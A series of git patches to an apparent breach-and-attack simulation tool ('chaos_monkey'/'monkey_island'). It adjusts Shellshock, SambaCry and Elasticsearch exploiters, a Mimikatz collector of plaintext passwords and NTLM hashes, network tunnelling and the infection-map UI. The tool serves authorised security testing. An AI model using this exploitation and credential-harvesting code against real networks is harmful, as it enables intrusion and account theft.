From 174c74cbcb4761ebd1a217187b8d10b2b187b6b4 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 14:43:08 +0300
Subject: [PATCH 01/18] Temporarily disable shellshock reporting its vulnerable
pages
---
chaos_monkey/exploit/shellshock.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py
index 69df6abb3..80246c1d4 100644
--- a/chaos_monkey/exploit/shellshock.py
+++ b/chaos_monkey/exploit/shellshock.py
@@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter):
# we want to report all vulnerable URLs even if we didn't succeed
# let's overload this
- [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
+ # TODO: uncomment when server is ready for it
+ # [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
From 3c345679b343a5d4d73824020bb07a1f599187f6 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 14:44:18 +0300
Subject: [PATCH 02/18] Change skip exploit if monkey exist to false
---
chaos_monkey/config.py | 2 +-
chaos_monkey/example.conf | 2 +-
monkey_island/cc/services/config.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index 5fee384ee..aa6cb0582 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -213,7 +213,7 @@ class Configuration(object):
# exploiters config
###########################
- skip_exploit_if_file_exist = True
+ skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf
index 35e1badd0..f9fe7e414 100644
--- a/chaos_monkey/example.conf
+++ b/chaos_monkey/example.conf
@@ -62,7 +62,7 @@
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
- "skip_exploit_if_file_exist": true,
+ "skip_exploit_if_file_exist": false,
"exploit_user_list": [],
"exploit_password_list": [],
"sambacry_trigger_timeout": 5,
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 86184f31c..11733ad6a 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -480,7 +480,7 @@ SCHEMA = {
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
- "default": True,
+ "default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
}
}
From 7365f7d6a7b8b7595128f2479cf7677e0a98066a Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 16:13:47 +0300
Subject: [PATCH 03/18] Fix in sambacry Sambacry tries to exploit when can't
recognize version
---
chaos_monkey/exploit/sambacry.py | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py
index 22b3a3f2b..83b626f19 100644
--- a/chaos_monkey/exploit/sambacry.py
+++ b/chaos_monkey/exploit/sambacry.py
@@ -37,7 +37,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
-
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
@@ -203,6 +202,9 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
+ else:
+ # If pattern doesn't match we can't tell what version it is. Better try
+ is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
@@ -300,7 +302,7 @@ class SambaCryExploiter(HostExploiter):
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
- except (impacket.smbconnection.SessionError, SessionError) as e:
+ except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
From 6233fec0f762482d03b03f831074d05f46e910b5 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 16:14:30 +0300
Subject: [PATCH 04/18] If exception thrown from exploit, we now send telemetry
about trying
---
chaos_monkey/monkey.py | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index 99298ebfd..daabad0ee 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -171,9 +171,11 @@ class ChaosMonkey(object):
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
- except Exception, exc:
+ except Exception as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
+ ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
+ 'exploiter': exploiter.__class__.__name__})
continue
if successful_exploiter:
From 2d83657bd9d064aa1438427edbad1e70ba326f08 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Thu, 28 Sep 2017 17:56:34 +0300
Subject: [PATCH 05/18] Fix missing WindowsError on linux
---
chaos_monkey/dropper.py | 12 +++++++++---
chaos_monkey/system_info/__init__.py | 6 ++++++
2 files changed, 15 insertions(+), 3 deletions(-)
diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py
index adbca1821..c0b995ae8 100644
--- a/chaos_monkey/dropper.py
+++ b/chaos_monkey/dropper.py
@@ -19,6 +19,12 @@ if "win32" == sys.platform:
else:
DETACHED_PROCESS = 0
+# Linux doesn't have WindowsError
+try:
+ WindowsError
+except NameError:
+ WindowsError = None
+
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@@ -62,7 +68,7 @@ class MonkeyDrops(object):
self._config['source_path'], self._config['destination_path'])
file_moved = True
- except (WindowsError, IOError, OSError), exc:
+ except (WindowsError, IOError, OSError) as exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@@ -75,7 +81,7 @@ class MonkeyDrops(object):
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
- except (WindowsError, IOError, OSError), exc:
+ except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@@ -131,7 +137,7 @@ class MonkeyDrops(object):
# try removing the file first
try:
os.remove(self._config['source_path'])
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
diff --git a/chaos_monkey/system_info/__init__.py b/chaos_monkey/system_info/__init__.py
index ddf13d885..0a5bf8e31 100644
--- a/chaos_monkey/system_info/__init__.py
+++ b/chaos_monkey/system_info/__init__.py
@@ -6,6 +6,12 @@ from enum import IntEnum
from network.info import get_host_subnets
+# Linux doesn't have WindowsError
+try:
+ WindowsError
+except NameError:
+ WindowsError = None
+
__author__ = 'uri'
From b910baf1d050fcc69f4e50adb2783fd33567635c Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 11:35:17 +0300
Subject: [PATCH 06/18] Stupid, stupid casting bug.
---
chaos_monkey/exploit/elasticgroovy.py | 3 +++
1 file changed, 3 insertions(+)
diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py
index ed110e999..5dce8208e 100644
--- a/chaos_monkey/exploit/elasticgroovy.py
+++ b/chaos_monkey/exploit/elasticgroovy.py
@@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter):
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
+ major = int(major)
+ minor = int(minor)
+ build = int(build)
if major > 1:
return False
if major == 1 and minor > 4:
From 27d9e8bcee432e9f3151b848b433c44beef06f62 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Sun, 1 Oct 2017 16:34:11 +0300
Subject: [PATCH 07/18] Fix bug in processing tunnel edges
---
monkey_island/cc/resources/monkey.py | 14 ++++++--------
monkey_island/cc/resources/telemetry.py | 5 ++---
monkey_island/cc/services/edge.py | 3 ++-
monkey_island/cc/services/node.py | 5 +++--
4 files changed, 13 insertions(+), 14 deletions(-)
diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py
index d6d89e2c8..2e2da8a5d 100644
--- a/monkey_island/cc/resources/monkey.py
+++ b/monkey_island/cc/resources/monkey.py
@@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource):
update['$set']['config_error'] = monkey_json['config_error']
if 'tunnel' in monkey_json:
- host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
- tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
- NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
+ tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
+ NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
@@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource):
else:
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
- tunnel_host_id = None
+ tunnel_host_ip = None
if 'tunnel' in monkey_json:
- host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
- tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
+ tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
mongo.db.monkey.update({"guid": monkey_json["guid"]},
@@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource):
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
- if tunnel_host_id is not None:
- NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
+ if tunnel_host_ip is not None:
+ NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py
index 0fea9b4d5..25f45212d 100644
--- a/monkey_island/cc/resources/telemetry.py
+++ b/monkey_island/cc/resources/telemetry.py
@@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource):
def process_tunnel_telemetry(self, telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None:
- host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
- tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
- NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
+ tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+ NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
else:
NodeService.unset_all_monkey_tunnels(monkey_id)
diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py
index 276fe488f..96d676c0e 100644
--- a/monkey_island/cc/services/edge.py
+++ b/monkey_island/cc/services/edge.py
@@ -22,7 +22,7 @@ class EdgeService:
@staticmethod
def edge_to_displayed_edge(edge):
- services = {}
+ services = []
os = {}
exploits = []
if len(edge["scans"]) > 0:
@@ -52,6 +52,7 @@ class EdgeService:
exploit_container["end_timestamp"] = new_exploit["timestamp"]
displayed_edge = EdgeService.edge_to_net_edge(edge)
+
displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services
displayed_edge["os"] = os
diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py
index 85b05bdcb..f5dbcf37c 100644
--- a/monkey_island/cc/services/node.py
+++ b/monkey_island/cc/services/node.py
@@ -148,7 +148,8 @@ class NodeService:
upsert=False)
@staticmethod
- def set_monkey_tunnel(monkey_id, tunnel_host_id):
+ def set_monkey_tunnel(monkey_id, tunnel_host_ip):
+ tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
NodeService.unset_all_monkey_tunnels(monkey_id)
mongo.db.monkey.update(
{"_id": monkey_id},
@@ -156,7 +157,7 @@ class NodeService:
upsert=False)
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
- {'$set': {'tunnel': True}},
+ {'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}},
upsert=False)
@staticmethod
From 48be73bc3f53f5529e28bb6d933e1cfb155ba890 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Sun, 1 Oct 2017 18:36:23 +0300
Subject: [PATCH 08/18] Fix edge width and tunnel edge color
---
monkey_island/cc/ui/src/components/pages/MapPage.js | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js
index 2b0336814..ef40c3ddc 100644
--- a/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -28,6 +28,7 @@ let options = {
improvedLayout: false
},
edges: {
+ width: 2,
smooth: {
type: 'curvedCW'
}
@@ -61,7 +62,7 @@ class MapPageComponent extends React.Component {
case 'exploited':
return '#c00';
case 'tunnel':
- return '#aaa';
+ return '#0058aa';
case 'scan':
return '#f90';
case 'island':
From afcd066fff5e2998fe9b5c51ed68cc5477634bc6 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 11:25:53 +0300
Subject: [PATCH 09/18] Fix mimikatz bug where plain passwords weren't
collected when they could have
---
.../system_info/mimikatz_collector.py | 33 ++++++++++++-------
1 file changed, 21 insertions(+), 12 deletions(-)
diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py
index d7122d57a..c63b875f8 100644
--- a/chaos_monkey/system_info/mimikatz_collector.py
+++ b/chaos_monkey/system_info/mimikatz_collector.py
@@ -1,14 +1,13 @@
import ctypes
import binascii
import logging
+import socket
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
-
-
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
@@ -24,7 +23,7 @@ class MimikatzCollector:
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
- except StandardError as ex:
+ except StandardError:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
@@ -40,18 +39,28 @@ class MimikatzCollector:
entry_count = self._collect()
logon_data_dictionary = {}
+ hostname = socket.gethostname()
for i in range(entry_count):
entry = self._get()
- username = str(entry.username)
- password = str(entry.password)
+ username = entry.username.encode('utf-8').strip()
+
+ password = entry.password.encode('utf-8').strip()
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
- has_password = (0 != len(password))
+
+ if 0 == len(password):
+ has_password = False
+ elif (username[-1] == '$') and (hostname.lower() == username[0:-1]):
+ # Don't save the password of the host domain user (HOSTNAME$)
+ has_password = False
+ else:
+ has_password = True
+
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
- if not logon_data_dictionary.has_key(username):
+ if username not in logon_data_dictionary:
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
@@ -61,7 +70,7 @@ class MimikatzCollector:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
- except StandardError as ex:
+ except StandardError:
LOG.exception("Error getting logon info")
return {}
@@ -75,8 +84,8 @@ class MimikatzCollector:
_fields_ = \
[
- ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
- ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
- ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
- ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
+ ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
+ ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
+ ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
+ ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]
From fd85bfb0442583c731a2ed02dee1d14461132ec1 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 11:43:23 +0300
Subject: [PATCH 10/18] Add map legend
---
.../cc/ui/src/components/pages/MapPage.js | 5 +++++
monkey_island/cc/ui/src/images/map-legend.png | Bin 0 -> 2598 bytes
2 files changed, 5 insertions(+)
create mode 100644 monkey_island/cc/ui/src/images/map-legend.png
diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js
index ef40c3ddc..65c407102 100644
--- a/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
+let legend = require('../../images/map-legend.png');
+
let getGroupsOptions = () => {
let groupOptions = {};
for (let groupName of groupNames) {
@@ -130,6 +132,9 @@ class MapPageComponent extends React.Component {
Infection Map
+
+
+
diff --git a/monkey_island/cc/ui/src/images/map-legend.png b/monkey_island/cc/ui/src/images/map-legend.png
new file mode 100644
index 0000000000000000000000000000000000000000..4b7759a099c51ad75d0455eaaab0ad117773ece9
GIT binary patch
literal 2598
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
IM6N<$f`!@en*aa+
literal 0
HcmV?d00001
From a04f34bb41a546d02548cd31300adc0f5f51bf84 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 11:59:48 +0300
Subject: [PATCH 11/18] Commented out Useless button
---
.../ui/src/components/pages/RunMonkeyPage.js | 19 ++++++++++++-------
1 file changed, 12 insertions(+), 7 deletions(-)
diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index 3c20a1d77..d84fe6c1f 100644
--- a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component {
Run on C&C Server
{ this.renderIconByState(this.state.runningOnIslandState) }
-
- Download and run locally
- { this.renderIconByState(this.state.runningOnClientState) }
-
+ {
+ // TODO: implement button functionality
+ /*
+
+ */
+ }
From 8ddac92429f1dfe318e1eadd1c68c2adf5675be2 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 2 Oct 2017 12:14:31 +0300
Subject: [PATCH 12/18] Fix mimikatz lowercase hostname comparison
---
chaos_monkey/system_info/mimikatz_collector.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py
index c63b875f8..53f42ad4c 100644
--- a/chaos_monkey/system_info/mimikatz_collector.py
+++ b/chaos_monkey/system_info/mimikatz_collector.py
@@ -51,7 +51,7 @@ class MimikatzCollector:
if 0 == len(password):
has_password = False
- elif (username[-1] == '$') and (hostname.lower() == username[0:-1]):
+ elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
# Don't save the password of the host domain user (HOSTNAME$)
has_password = False
else:
From b77aa5d10c2d17d6a01b96bf2c1fd32f39b2ed84 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 17:58:34 +0300
Subject: [PATCH 13/18] PEP8 + new exception format.
---
chaos_monkey/tunnel.py | 33 +++++++++++++++++----------------
1 file changed, 17 insertions(+), 16 deletions(-)
diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py
index f6f258a84..7f7edec03 100644
--- a/chaos_monkey/tunnel.py
+++ b/chaos_monkey/tunnel.py
@@ -1,14 +1,15 @@
+import logging
import socket
import struct
-import logging
-from threading import Thread
-from network.info import local_ips, get_free_tcp_port
-from network.firewall import app as firewall
-from transport.base import get_last_serve_time
-from difflib import get_close_matches
-from network.tools import check_port_tcp
-from model import VictimHost
import time
+from difflib import get_close_matches
+from threading import Thread
+
+from model import VictimHost
+from network.firewall import app as firewall
+from network.info import local_ips, get_free_tcp_port
+from network.tools import check_port_tcp
+from transport.base import get_last_serve_time
__author__ = 'hoffer'
@@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
try:
sock.sendto("+", (address, MCAST_PORT))
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Caught exception in tunnel registration: %s", exc)
if not existing_sock:
@@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock.close()
return address, port
- except Exception, exc:
+ except Exception as exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
@@ -103,8 +104,8 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
sock = _set_multicast_socket(timeout)
sock.sendto("-", (address, MCAST_PORT))
sock.close()
- LOG.debug("Success quitting tunnel")
- except Exception, exc:
+ LOG.debug("Success quitting tunnel")
+ except Exception as exc:
LOG.debug("Exception quitting tunnel: %s", exc)
return
@@ -157,9 +158,9 @@ class MonkeyTunnel(Thread):
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0])
elif '-' == search:
- LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
- self._clients = [client for client in self._clients if client != address[0]]
-
+ LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
+ self._clients = [client for client in self._clients if client != address[0]]
+
except socket.timeout:
continue
@@ -190,4 +191,4 @@ class MonkeyTunnel(Thread):
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
def stop(self):
- self._stopped = True
\ No newline at end of file
+ self._stopped = True
From b668a0d0f3993100cd4011cd86dd9f230e6be7a8 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 17:59:17 +0300
Subject: [PATCH 14/18] PEP8 + Python exceptions
---
chaos_monkey/system_singleton.py | 18 +++++++++++-------
1 file changed, 11 insertions(+), 7 deletions(-)
diff --git a/chaos_monkey/system_singleton.py b/chaos_monkey/system_singleton.py
index e4facd88a..970905a9c 100644
--- a/chaos_monkey/system_singleton.py
+++ b/chaos_monkey/system_singleton.py
@@ -1,7 +1,8 @@
-import sys
import ctypes
import logging
+import sys
from abc import ABCMeta, abstractmethod
+
from config import WormConfiguration
__author__ = 'itamar'
@@ -28,7 +29,7 @@ class _SystemSingleton(object):
class WindowsSystemSingleton(_SystemSingleton):
def __init__(self):
- self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
+ self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
self._mutex_handle = None
@property
@@ -53,7 +54,7 @@ class WindowsSystemSingleton(_SystemSingleton):
self._mutex_name)
return False
-
+
self._mutex_handle = handle
LOG.debug("Global singleton mutex %r acquired",
@@ -79,16 +80,16 @@ class LinuxSystemSingleton(_SystemSingleton):
def try_lock(self):
assert self._sock_handle is None, "Singleton already locked"
-
+
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
-
+
try:
sock.bind('\0' + self._unix_sock_name)
- except socket.error, e:
+ except socket.error as e:
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
self._unix_sock_name, e.args[0], e.args[1])
return False
-
+
self._sock_handle = sock
LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name)
@@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton):
self._sock_handle.close()
self._sock_handle = None
+
if sys.platform == "win32":
import winerror
+
SystemSingleton = WindowsSystemSingleton
else:
import socket
+
SystemSingleton = LinuxSystemSingleton
From a2b1b78f0b01782f972d118930b39f96646a5295 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 18:03:33 +0300
Subject: [PATCH 15/18] PEP8 + Python exception
---
chaos_monkey/dropper.py | 26 +++++++++++++-------------
1 file changed, 13 insertions(+), 13 deletions(-)
diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py
index c0b995ae8..3e0a8bff5 100644
--- a/chaos_monkey/dropper.py
+++ b/chaos_monkey/dropper.py
@@ -1,17 +1,17 @@
+import argparse
+import ctypes
+import logging
import os
+import pprint
+import shutil
+import subprocess
import sys
import time
-import ctypes
-import shutil
